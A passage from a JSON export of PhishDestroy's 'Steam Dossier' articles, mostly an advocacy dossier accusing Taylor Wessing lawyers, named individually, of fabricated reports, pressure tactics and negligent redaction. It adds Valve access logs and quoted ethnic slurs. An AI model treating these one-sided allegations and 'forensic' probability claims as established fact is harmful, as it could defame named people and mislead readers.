                "mixwell\n76561199276547472",
                "→",
                "mixwell\n76561199276547472",
                "29 June, 2026 @ 10:20:50 pm PDT",
                "omg! u cant cheat on secure gaben servers, omg dont report me, they ban me for boosted omg"
              ],
              [
                "mixwell\n76561199276547472",
                "→",
                "mixwell\n76561199276547472",
                "29 June, 2026 @ 8:37:11 pm PDT",
                "xD"
              ],
              [
                "mixwell\n76561199276547472",
                "→",
                "mixwell\n76561199276547472",
                "28 June, 2026 @ 1:58:14 pm PDT",
                "wow"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/social-table-profiles.csv",
          "sha256": "7424d8e1d49d579381ca27bd2055626c257bd9dfb8aa411867b170e45efc699c",
          "bytes": 235871
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/social-table-connections.csv",
          "sha256": "ca49d1b98f2e303383aa182085cdbe9c1d1ce578de275b9563ed90b91ff7c8ca",
          "bytes": 338375
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/social-table-comments.csv",
          "sha256": "dc5d9e21c1bf00d2dce867915a85e86f4507a721aef07f6bb5d13abae067ea24",
          "bytes": 52992
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "steam_enforcement_evidence",
      "language": "en",
      "title": "Rules versus responses — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence",
      "source_file": "steam_dossier/steam_enforcement_evidence.html",
      "source_html_sha256": "73f695f25974833c2aa17972010e5ffba9148a68651346b2fda61430a4667859",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "steam_enforcement_evidence.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/steam_enforcement_evidence.pdf",
        "sha256": "8a3a2f14702795b76b736354176e5e31dabff1c4e4d7586785f8ffe6178775dd",
        "bytes": 213683,
        "pages": 5
      },
      "integrity": {
        "signed_object": "steam_enforcement_evidence.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/steam_enforcement_evidence.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/steam_enforcement_evidence.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nEvidence supplement / source-linked records\nSteam Enforcement Evidence — Support Records & Developer Network\n\nThe rule. The response.\n\nWHAT THIS SECTION PROVES\n\nThis evidence room places Valve's Subscriber Agreement beside public accounts of support and enforcement outcomes, plus retained network data covering 252 repositories and 3,320 GitHub profiles. It lets readers compare stated rules with what the cited sources report. These are not authenticated internal enforcement logs, and the collection does not establish uninterrupted bot activity, Valve's knowledge of individual operators or the absence of an appeal in every case.\n\n18 October 2026 · scope clarification. Public user accounts and repository records are distinguished here from internal enforcement evidence. The earlier overview stated broader conclusions than this collection could establish on its own.\n\n← Back to Executive briefing\n\nRead the written restriction. Open the recorded response. Compare what the source shows with what remains unanswered.\n\nSupport & appeals ↓Public infrastructure ↓\n252repository records\n3,320public profiles\n4,214distinct profile–repository pairs\n98,902profile pairs with shared repos\n01 / Support, sanctions & restoration\nRead the complaint. Keep the source attached.\nSupport replies & source register (9,051 rows) ↗Download selected records ↓\nHFB / THE OUTSOURCING CASEThe acknowledged compromise.\nThe reported dismissals.\n\nFollow the reproduced support response and the source of the claim about contractor staff.\n\nOpen the case and its sources →\n\nBelow: five preserved public Reddit posts from the supplied support collection. Each record documents a reported interaction with Valve's support system — preserved with its original source link, capture position and complete text. These are victim accounts. The authenticated support logs that would confirm or contradict them are held by Valve and have not been disclosed.\n\n02 / Steam development network\nPublic infrastructure. Recorded at scale.\nDownload all 252 records ↓\n\nThe supplied output_steam_network snapshot records repositories, public contributor/fork relationships and profile overlaps. These are published records — what was built, who contributed, what was forked. The paper trail of public capabilities is what Valve must account for.\n\n252 records\nRepository / description\tContributors\tForkers\tRecorded profiles\nPage 1\n\nSnapshot: 17 September 2026, 11:19:11 as written in the source; timezone unspecified. Relationship collection is capped in the export (many categories stop at 40). Contributors and forkers sum to 4,554 role entries across 4,214 distinct profile–repository pairs; a profile can have both roles. Zero means no records captured in that category. Repository names may include aliases or case variants; totals retain the source’s counting conventions.\n\nSource provenance\nBuilt from retained source files.\nSupport testimony\n2323/reddit_scams_ultra/steam_support_tickets_MEGA.json · rows 45, 58, 107, 110, 294\nNetwork snapshot\nnetwork-repositories.csv · raw_data.json · overlaps.csv · summary.txt (historical source paths retained in manifest)\n\nThe manifest records source paths, byte sizes, SHA-256 hashes and selected record positions. Raw captures remain separate from the investigation’s interpretation.\n\nDownload source manifest ↓",
        "headings": [
          {
            "level": 1,
            "text": "Steam Enforcement Evidence — Support Records & Developer Network",
            "anchor": "pd-steam_enforcement_evidence--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence"
          },
          {
            "level": 2,
            "text": "Read the complaint. Keep the source attached.",
            "anchor": "pd-steam_enforcement_evidence--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence#support-records"
          },
          {
            "level": 2,
            "text": "Public infrastructure. Recorded at scale.",
            "anchor": "pd-steam_enforcement_evidence--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence#repository-records"
          },
          {
            "level": 2,
            "text": "Built from retained source files.",
            "anchor": "pd-steam_enforcement_evidence--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "Support replies & source register (9,051 rows) ↗",
            "url": "https://phishdestroy.io/steam_dossier/support_canned_refusals"
          },
          {
            "label": "Download selected records ↓",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/selected-support-records.json"
          },
          {
            "label": "HFB / THE OUTSOURCING CASEThe acknowledged compromise.The reported dismissals.Follow the reproduced support response and the source of the claim about contractor staff.Open the case and its sources →",
            "url": "https://phishdestroy.io/steam_dossier/investigation_part2#outsourcing-case"
          },
          {
            "label": "Download all 252 records ↓",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/network-repositories.csv"
          },
          {
            "label": "network-repositories.csv",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/network-repositories.csv"
          },
          {
            "label": "raw_data.json",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/raw_data.json"
          },
          {
            "label": "Download source manifest ↓",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/enforcement-source-manifest.json"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Repository / description",
                "Contributors",
                "Forkers",
                "Recorded profiles"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/selected-support-records.json",
          "sha256": "717d1be64fda9811e842b9735a0e9575df43398b29d02d8eaf0f08256f2fc3c4",
          "bytes": 20033
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/network-repositories.csv",
          "sha256": "69c67930e9c530b67d19ca71ab2f36202fba5a500a3a898860265e19cfb61fd9",
          "bytes": 285409
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/output_steam_network/raw_data.json",
          "sha256": "3c0764f441b89c125554efa908f73d4d418073974eb39b0f35e989a1beadabc6",
          "bytes": 1701248
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/enforcement-source-manifest.json",
          "sha256": "485e7863545531848c88632664ba412513498037e757ec1876fc9a118f93fc4b",
          "bytes": 1192
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "taylor_wessing",
      "language": "en",
      "title": "Rainbow. Reichstag. Baton. — The Taylor Wessing Dossier | PhishDestroy",
      "author": "Agent Ellis",
      "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing",
      "source_file": "steam_dossier/taylor_wessing.html",
      "source_html_sha256": "914f69b7a90732782ce4ade2467abc8d0b41652207fd71e0bf7cdfe879614250",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "taylor_wessing.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/taylor_wessing.pdf",
        "sha256": "97a32b10fd8fee35b77239a3281b6491763a2ad5f9f4f74d1b197d84feab80cf",
        "bytes": 6850170,
        "pages": 56
      },
      "integrity": {
        "signed_object": "taylor_wessing.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/taylor_wessing.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/taylor_wessing.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nThe Steam Dossier / Taylor Wessing\nRead this first.\n\nThe dossier opens after you read and agree to the forensic and historical disclaimer below.\n\nForensic & historical disclaimerRead before proceeding\n⚖️ FORENSIC & HISTORICAL DISCLAIMER: READ BEFORE PROCEEDING\nContent warning: explicit and discriminatory language\n\nThis dossier contains uncensored profanity, homophobic and nationality-based slurs, threats, and descriptions of Nazi persecution and violence. These appear in quoted case materials, screenshots and historical discussion. Please take this into account before proceeding.\n\n1. Empirical Data vs. Legal Verdicts\n\nThe terms \"fabrication,\" \"forgery,\" and \"cover-up\" used in this dossier are strictly forensic and mathematical conclusions. They are derived from chronological impossibilities, Shannon entropy calculations, and Jaccard index metrics. We compute probabilities; we do not hand down legal sentences. The final determination of whether these forensic anomalies constitute intentional fraud, professional negligence, or criminal forgery under the law remains the exclusive jurisdiction of the regulatory bodies, bar associations, and courts to which these materials have been submitted.\n\n2. The Historical Record and the \"English Illusion\"\n\nThe historical facts regarding the firm's origins presented here are based on currently available archival data and Wikipedia (which, at present, we accept as a baseline). However, there is a glaring, systemic omission: the main Wikipedia pages for Taylor Wessing artificially emphasize their \"elite English roots\" dating back to 1782, while almost completely erasing the true identity and actions of their German creator, Rüdiger Graf von der Goltz.\n\nIt is crucial to note that this \"English heritage\" is no longer relevant. The UK, Dubai, Netherlands, Ireland, and Belgium offices are officially splitting from the firm. What remains is exactly what this dossier exposes: the German core.\n\n3. Academic Escalation\n\nThis dossier is just the foundation. We are currently finalizing two formal academic papers detailing these findings. Once they pass peer review and are published, we will officially assist the open-source community, Wikipedia editors, and international translators in permanently correcting the public record across all languages. The truth will be structured, cited, and inescapable.\n\nReturn to the investigation\n\nYour agreement is required to open this page.\n\nCase materials · Taylor Wessing\nRAINBOW. REICHSTAG. BATON.\n\nThe Three Pillars of Taylor Wessing: Fake Inclusivity, a Nazi Founder, and Violence as a Modus Operandi\n\n04 documents / source record\nGraf von der Goltz\nReichstags-Handbuch\n1 June 2026 / the split\nTaylor Wessing\n\nTaylor left with its centuries of English history.\n\nWessing remains. Shall we talk?\n\nThe UK-led practice now operates as Winston Taylor. The German origins remain the subject of this dossier.\n\nOfficial announcement ↗SEC filing · 2 June 2026 ↗\nCompiled byAgent EllisAgent protocol ↗\n\nPhishDestroy — an independent digital forensics research group Case Files: VAL24.D1000 | AR-2025-BAN-FORENSICS | PD-VALVE-2026/01\n\nPhishDestroy is independent of both parties. We are not Source 1. We do not take money from anyone, ever. We publish under our own name and take responsibility for our analysis.\n\nWe began examining this case in August. The documents led to three connected lines of inquiry: the use of legal pressure against a data requester; the treatment of homophobic and nationality-based abuse in an official disclosure; and the Nazi record of the firm's German founder. Each is set out below with the underlying records and sources. Professional reputation does not answer any of them.\n\nOUR SCOPE. TWO ORGANIZATIONS. NO CAMPAIGN FOR AN UNBAN.\nValvePlatform conduct\nand the access response\nTaylor WessingProfessional conduct\nand document processing\n\nAccount reinstatement does not settle either line of inquiry.\n\nWe have deliberately separated Valve from Taylor Wessing. Taylor Wessing did not have to become the subject of this dossier. The material could have stayed on Medium. We were using AI and large-scale data analysis to examine the Steam case and the falsehoods documented in that investigation when our review began flagging danger markers in the documents and correspondence themselves. Some of it looked so implausible that we began asking whether the documents were fake. The documents are official. The signatures in those files are not fake.\n\nSource 1's ban is not our objective\n\nSource 1's ban is irrelevant to our objective. We are not determining his guilt or innocence and do not ask anyone to determine it on our behalf. An unban, a settlement or any other change to his account would not alter this investigation. Source 1 has no authority to terminate it.\n\nWe received official documents from him. Additional information may also have been supplied, but it is not the basis of this dossier. Our work does not depend on his interests or the recovery of his account. It concerns the handling of official documents, the statements made in them, the personal data they contain and the risks created by the process.\n\nWe will assess a court decision or a comparably rigorous mathematical demonstration or refutation. A demand to stop publication does not answer the evidence. The letters' claims about German courts are examined in When a paid representative speaks for the court.\n\nWhy the lawyers' letters matter to the Valve investigation\n\nThe letters contain admissions and contradictions relevant to the neighbouring investigation into Valve, signed in the course of the lawyers' professional work.\n\nOur concern also recalls the old Steam terms provision, since removed, concerning permanent account termination when a user sought legal assistance. In this case we identify another contradiction: the lawyers' account places an alleged transfer or sale first in May and then in July. Yet the incomplete access log supplied in response to the GDPR request does not record the account access that would substantiate that story. This is one of the discrepancies we ask the responsible authorities to examine against the full records.\n\nProfessional conduct, not private lives\n\nOur examination of the two doctors of law stops at their professional actions and the descriptions published on their firm's own website. We have no interest in their relatives, personal relationships or private lives. Investigating those things is not our style, and we do not consider them relevant to the professional assessment made here.\n\nOfficial profile: Dr. Tobias SchelinskiOfficial profile: Dr. Patrick Vincent Zurheide\nThe source record\nRead the documents.\n01 / 04\nInspect document\nBayerische Staatsbibliothek · Printed page 223 · digital scan 224\nDocument 01 / 04\n1938\nThe biographical record\n\nRüdiger Graf von der Goltz · Der Großdeutsche Reichstag\n\nSource\nBayerische Staatsbibliothek\nLocation\nPrinted page 223 · digital scan 224\nOpen the original source ↗Read this part of the dossier ↓\nInspect document\nZBW / HWWA press archive · Folder pe/006310 · document 00001\nDocument 02 / 04\n1934\nThe contemporary record\n\nDeutsche Allgemeine Zeitung · Berlin · 11 July 1934\n\nSource\nZBW / HWWA press archive\nLocation\nFolder pe/006310 · document 00001\nOpen the original source ↗Read this part of the dossier ↓\nInspect document\nSolicitors Disciplinary Tribunal · Judgment · page 2 of 19\nDocument 03 / 04\n2023\nThe findings on the page\n\nSolicitors Disciplinary Tribunal · Case 12393-2022\n\nSource\nSolicitors Disciplinary Tribunal\nLocation\nJudgment · page 2 of 19\nOpen the original source ↗Read this part of the dossier ↓\nInspect document\nSolicitors Disciplinary Tribunal · Statement of Full Order · page 19 of 19\nDocument 04 / 04\n2023\nThe final order\n\nDaniel Paul Hugh Hutchings · Judgment dated 30 March 2023\n\nSource\nSolicitors Disciplinary Tribunal\nLocation\nStatement of Full Order · page 19 of 19\nOpen the original source ↗Read this part of the dossier ↓\nCase screenshots\nPDF comparison\nFirst report row\nThe letter sign-off\nRussian-language reports\nPART I. PRESSURE, FABRICATION, DISCLOSURE\nA data-access request answered with accusations\n\nA Ukrainian user requested his personal data under Art. 15 GDPR. Taylor Wessing's response to his lawyer introduced allegations of account purchase, document falsification and criminal conduct. The initiating act was a statutory access request. The correspondence must be read in that context.\n\nDr. Tobias Schelinski, August 15, 2025 (Doc. No. 42282474): the letter accuses the client of buying the account, refers to a \"falsified utility bill\", and describes it as \"completely unclear\" whose data is involved. It invokes 1,938 reports as evidence against the user: \"the sheer volume alone shows that the agreement was violated multiple times.\" The asserted volume is being used to establish culpability before the authenticity of those reports is addressed.[11]\n\nDr. Patrick Zurheide, October 1, 2025 (Doc. No. 42603633):[12]\n\n\"It must obviously be assumed that your client or his accomplices intend to continue phishing attacks in a disguised form and want to find out how to do so without getting caught.\"\n\n\"The account, like almost no other, provides numerous grounds for a block... In our experience, any court would deem the block lawful.\"\n\nThe letter concludes with the prospect of criminal prosecution under §§ 263, 263a, 202a, 303a of the German Criminal Code and asks whether \"the lawyer's mandate also extends to criminal proceedings.\" Our assessment is that this correspondence uses the threat of prosecution, accusations and months of delay to exert pressure on a person seeking his data. The statutory request remains unanswered by any of those measures.\n\nPublic excerpts / complete originals for regulators\n\nPublic case materials are limited to screenshots. The complete, unedited original documents are reserved for the regulators: they contain personal data and evidence extending beyond this case.\n\nE01 / Letter heading · 15 August 2025Source screenshot\nEnlarge screenshot\nDr. Tobias Schelinski · Doc. No. 42282474Source 11\nE02 / Letter heading · 1 October 2025Source screenshot\nEnlarge screenshot\nDr. Patrick Zurheide · Doc. No. 42603633Source 12\nThe disclosed sample: the basis of our fabrication finding\n\nThe eventual disclosure visually concealed 94.28% of the content — 70,717 words — \"for the sake of third-party rights.\" Exactly 50 reports remained visible and were presented as \"proof\" against the banned user. Exhibit B records three independent grounds for challenging that sample:[13]\n\nExhibit BQuantitative forensic auditSource 13 ↗\nContent redacted\n94.28%\n\n70,717 words\n\nRedactedVisible\n94.28%5.72%\n50 reports left visible\n01 / Shannon entropy\n𝐻\n(\n𝑋\n)\n=\n−\n∑\n𝑖\n𝑝\n𝑖\nlog\n2\n𝑝\n𝑖\n\npᵢ = probability of symbol i\n\nCharacter distribution\nFlagged names3.48\nLive names2.14\n02 / Jaccard index\n𝐽\n(\n𝐴\n,\n𝐵\n)\n=\n|\n𝐴\n∩\n𝐵\n|\n|\n𝐴\n∪\n𝐵\n|\n\nIntersection / union\n\nReport text similarity\nA = B\n1.000\n\n100% identical\nreport texts\n\n03 / Joint probability\n𝑃\n≈\n10\n−\n153\n\nJoint probability reported in Exhibit B\n\nLogarithmic scale\n10⁰\n10⁻⁵¹\n10⁻¹⁰²\n10⁻¹⁵³\nP ≈ 10⁻¹⁵³\n62%Nicknames matching the pattern\n[adjective][noun][numbers]\n\nunhappyrat44132 · eagerotter54677 · crushedlard9764\n\nSee these nicknames in the supplied screenshot ↓\nFigures from Exhibit B · AR-2025-BAN-FORENSICS Evidence E03 ↓\nChronology. The account was blocked on May 23, 2025. The visible reports are dated August and September and describe fresh invitations and phishing links. Our finding is that the activity alleged in those reports is incompatible with the account's blocked state.\nNickname generation. Our audit identifies 62% of the visible complainants as synthetic names following [adjective][noun][numbers], including unhappyrat44132, eagerotter54677, crushedlard9764. Reported Shannon entropy is 3.48, against 2.14 for the live-name comparison. The audit rejects independent generation under its probability model, reporting a joint probability of approximately 10⁻¹⁵³.\nText identity. The compared report texts are recorded as 100% identical, with a Jaccard index of 1.000. This is the text-similarity result; the fabrication finding rests on its combination with the chronology and nickname analysis.\nThe chronologyExhibit B ↗\n23 MAY 2025Account blocked\nAUG — SEP 2025Visible reports\n\nThe concealed material contains years of coordinated harassment directed at the user's Ukrainian nationality: \"hohol\", \"Ukrainian Nazi\", \"SVO SVO GOIDA ZOV ZOV\", \"execute him\". Cyrillic density reaches 61.58% in the hidden material, against 0.32% in the visible sample. Our conclusion is specific: Taylor Wessing concealed the nationality-based harassment and retained the sample our audit identifies as a botnet. The selection removed the context that explained the reports while preserving the material used to justify the ban.\n\nE03 / The nicknames in the documentSource screenshot\nEnlarge screenshot\nAR-2025-BAN-FORENSICS · chronology, entropy and text similaritySource 13\n\nDetail crop · the same three examples used in the quantitative audit.\n\nRead the pattern\nadjectivenounnumbers\nunhappyrat44132\neagerotter54677\ncrushedlard9764\nCompare the PDF views ↓\nFailed redaction, notice and suppression of publication\n\nThe PDF contained black rectangles over text that had never been deleted. No intrusion was required to recover it. The data travelled inside the file supplied by the firm. We identify this as professional negligence in the very process presented as protecting third parties.\n\nE04 / PDF redactionSource 12 ↗\nThe same rows. The text underneath.\n\nMove the divider to compare the black overlay with the underlying account-name column.\n\nAligned detail from the supplied screenshot with the black overlay\nMatching detail showing the underlying reporter account names\nEnlarge screenshot With the black overlay\nEnlarge screenshot Underlying text visible\n\nComparison uses aligned detail crops at their original scale. Both complete supplied screenshots are available above.\n\nWe notified the firm and Dr. Patrick Zurheide personally. He described the information about the exposure as \"amusing\". Our record covers a year of notice without remediation. Separately, server records show access from Valve gateways on October 21, 2025, February 16–17, 2026, and August 31, 2026. Our case analysis links the October access to a request from the parents of one of the report authors; the access exhibit preserves the network observations and their limitations. Our allegation remains that neither the supervisory authority under Art. 33 GDPR nor the affected individuals under Art. 34 were notified. The response to notice is part of the case.[14]\n\nE05 / PD-VALVE-2026/01\nFour access events. Ten months.\n\nValve Corporation network · AS32590 · HTTPS\n\nPrepared\n1 September 2026\n164Total requests\n32Page views\n26.3 MBTransferred data\n3Network hosts\nRecorded access events · AWStats VISITOR records\nRecorded timestamp\tHost\tPage views\tRequests\tBytes\n(a)21 October 202516:59:23\t208.64.203.11gw.valvesoftware.comSeattle, Washington\t11\t34\t6,322,782\n(b)16 February 202619:08:06\t208.64.203.19gw19.valvesoftware.comBellevue, Washington\t11\t65\t9,286,619\n(c)17 February 202611:23:56\t208.64.203.20gw20.valvesoftware.comBellevue, Washington\t9\t62\t8,586,044\n(d)31 August 202617:59:04\t208.64.203.20gw20.valvesoftware.comBellevue, Washington\t1\t3\t2,152,328\nAS32590 · VALVE-V4-1 · 208.64.203.0/24RIPE NCC · attribution lookup ↗\nPreservation & limitations\n\nThe raw access logs for October 2025 and February 2026 have since been rotated by the hosting provider and are no longer retained. The analyser databases, generated from those logs and preserved separately, are the surviving record and are available to the authority in full.\n\nBecause the analyser aggregates, the specific URLs requested during each access are not recoverable from the surviving record, and neither is the duration of each session. Valve's own outbound records for the same dates are not subject to that limitation.\n\nRead the complete exhibit 8 sections · method, chronology, preservation & SHA-256\n\nEXHIBIT — ACCESS BY VALVE CORPORATION TO THE DATA SUBJECT'S PUBLISHED MATERIAL\nReference: PD-VALVE-2026/01\nPrepared: 1 September 2026\n\n1. SUMMARY OF THE FINDING\n\nWeb server records for the website operated by the data subject (the requester in the Article 15 matter described at paragraph 3.1AA of the referral) show FOUR separate access events, over a period of ten months, from three different hosts inside Valve Corporation's own network.\n\nTwo of the three hosts geolocate to BELLEVUE, WASHINGTON - the city in which Valve Corporation maintains its principal place of business.\n\nAll four events were over HTTPS. Together they account for 164 requests, 32 page views and approximately 26.3 MB of transferred data.\n\n2. THE RECORDS\n\nVerbatim, as held in the analyser's database (VISITOR section). Fields in order: host; page views; total requests; bytes; timestamp of last request in YYYYMMDDHHMMSS form.\n\n(a) 208.64.203.11 11 34 6322782 20251021165923\n-> 21 October 2025, 16:59:23\n(b) 208.64.203.19 11 65 9286619 20260216190806\n-> 16 February 2026, 19:08:06\n(c) 208.64.203.20 9 62 8586044 20260217112356\n-> 17 February 2026, 11:23:56\n(d) 208.64.203.20 1 3 2152328 20260831175904\n-> 31 August 2026, 17:59:04\n\nSource files (AWStats 8.0 build 20240604, SSL log databases, generated by the hosting provider from raw web server logs):\n\nawstats102025.<site>.txt, line 7315\nawstats022026.<site>.txt, lines 17524 and 19100\nawstats082026.<site>.txt, line 7162\n3. ATTRIBUTION OF THE HOSTS\n\nEach address was resolved and checked against registry and routing data:\n\n208.64.203.11   reverse DNS  gw.valvesoftware.com\nlocation     Seattle, Washington, USA\n208.64.203.19   reverse DNS  gw19.valvesoftware.com\nlocation     BELLEVUE, Washington, USA\n208.64.203.20   reverse DNS  gw20.valvesoftware.com\nlocation     BELLEVUE, Washington, USA\nAll three:\nAutonomous System   AS32590 (VALVE-CORPORATION - Valve Corporation)\nNetwork name        VALVE-V4-1\nRegistered org      Valve Corporation (VC-2)\nAbuse/NOC contact   noc@valvesoftware.com\nAnnounced prefix    208.64.203.0/24\n\nEach hostname sits within valvesoftware.com, Valve Corporation's own second-level domain. None of these addresses is a consumer internet service provider, a content delivery network, a cloud host, a VPN exit or a shared proxy. The address block is allocated directly to Valve Corporation and announced by Valve Corporation's own autonomous system.\n\n4. METHOD\n\nThe identification was not made by inspection or by assumption.\n\n(a) The complete set of IPv4 prefixes announced by AS32590 was obtained from RIPE NCC routing data (44 prefixes).\n\n(b) Every IP address appearing in the site's access records for the periods examined was compared programmatically against that set.\n\n(c) The comparison was then re-run across every surviving analyser database for the site, covering October 2025 to September 2026.\n\nFour records matched. They are the four set out at paragraph 2. All other addresses examined resolved to consumer ISPs, cloud providers, content delivery networks, search engine crawlers or unrelated hosting companies.\n\nAny recipient may verify the attribution independently, without reference to us:\n\nhost 208.64.203.19\nwhois 208.64.203.19\nhttps://stat.ripe.net/data/prefix-overview/data.json?resource=208.64.203.19\n5. CHRONOLOGY\n\nWe set out the dates without comment as to what connects them. The sequence is a matter of record; any inference is for the authority.\n\n1 October 2025    Valve's external counsel transmits the Article 15\n                  response containing the defective redaction\n                  (referral, paragraph 3.1AA)\n21 October 2025   ACCESS (a) - 34 requests, 6.3 MB\nFebruary 2026     Proceedings commenced against Valve Corporation by\n                  the Attorney General of the State of New York\n16 February 2026  ACCESS (b) - 65 requests, 9.3 MB\n17 February 2026  ACCESS (c) - 62 requests, 8.6 MB\n                  (consecutive days, from two different Valve\n                  gateways)\n17-19 August 2026 Publication of the technical findings concerning\n                  the defective redaction\n24 August 2026    Written notice served on Valve, seven-day period\n31 August 2026    Period expires without response\n31 August 2026    ACCESS (d), 17:59:04 - same day\n6. WHY THIS IS PLACED BEFORE THE AUTHORITY\n\nWe assert nothing as to purpose and we draw no conclusion. We record what the logs show: that hosts inside Valve Corporation's own network requested material published by the data subject, on the dates recorded, in the volumes recorded, repeatedly, over ten months.\n\nIts relevance is to AWARENESS, which is the operative trigger under Article 33 and Article 34. The material published at that location concerned the defective redaction and the third-party personal data it exposed - the same data subjects who, to our knowledge, have never been notified.\n\nON THE VOLUME. Access (b) is 65 requests across 11 page views; access (c) is 62 requests across 9. That is not a crawler retrieving a single document, and it is not an accidental arrival. It is consistent with sustained reading. We state this as an observation on the figures.\n\nWe invite the authority to establish, from Valve's own records:\n\n(a) whether any person acting for Valve accessed that material on 21 October 2025, 16-17 February 2026, and 31 August 2026, in what capacity, and on whose instruction; (b) what internal assessment, if any, followed each access; (c) whether at any point after those dates the affected third parties were notified under Article 34; (d) whether the supervisory authority was notified under Article 33; (e) if not, on what basis the obligation was considered not to arise.\n\nThese are questions only the authority can put. We supply the observation. The determination is not ours to make.\n\n7. PRESERVATION AND LIMITATIONS\n\nThe raw access logs for October 2025 and February 2026 have since been rotated by the hosting provider and are no longer retained. The analyser databases, generated from those logs and preserved separately, are the surviving record and are available to the authority in full.\n\nBecause the analyser aggregates, the specific URLs requested during each access are not recoverable from the surviving record, and neither is the duration of each session. Valve's own outbound records for the same dates are not subject to that limitation.\n\nAll source files, together with the routing data relied upon, are preserved and available to the authority through a protected channel.\n\n8. INTEGRITY OF THE PRESERVED FILES\n\nThe analyser databases were copied from the hosting account on 1 September 2026 and hashed at the point of copying. SHA-256:\n\n0704c0170e9e7ed103aec75af2feacd4a2584e0ae1da0cb88b68258630e4ff2c\nawstats102025.67a427a7...spacecharged.site.txt\n(contains record (a) - 21 October 2025)\nef9cff2a423767aed192dd056177c86b0aaa0df1390994a5007a79c19b9a5722\nawstats022026.67a427a7...spacecharged.site.txt\n(contains records (b) and (c) - 16 and 17 February 2026)\n8bf0221608bdef2e84e523ff908aaaa46a299ae782e8f63b54773136c75b08f7\nawstats082026.67a427a7...spacecharged.site.txt\n(contains record (d) - 31 August 2026)\n\nAlso preserved, from the second site configuration on the same account, for completeness of the record:\n\n7847f57203092b380a238c53303aa1fa650f325962679847851d69dc2ddbf889\n    awstats022026.a2a07414...spacecharged.site.txt\n3a0f43e7ad9f7fcc2e435ff2bd2480de9e150184a3aa860495ec330ec1839fa5\n    awstats082026.a2a07414...spacecharged.site.txt\n\nThe authority may verify that any copy supplied to it is byte-identical to the file as held on the hosting account on the date of preservation.\n\nPhishDestroy - volunteer cybersecurity research group\ncomplains@phishdestroy.io | https://phishdestroy.io\nPGP 129F C7F3 9C40 C69D 2EF3 C329 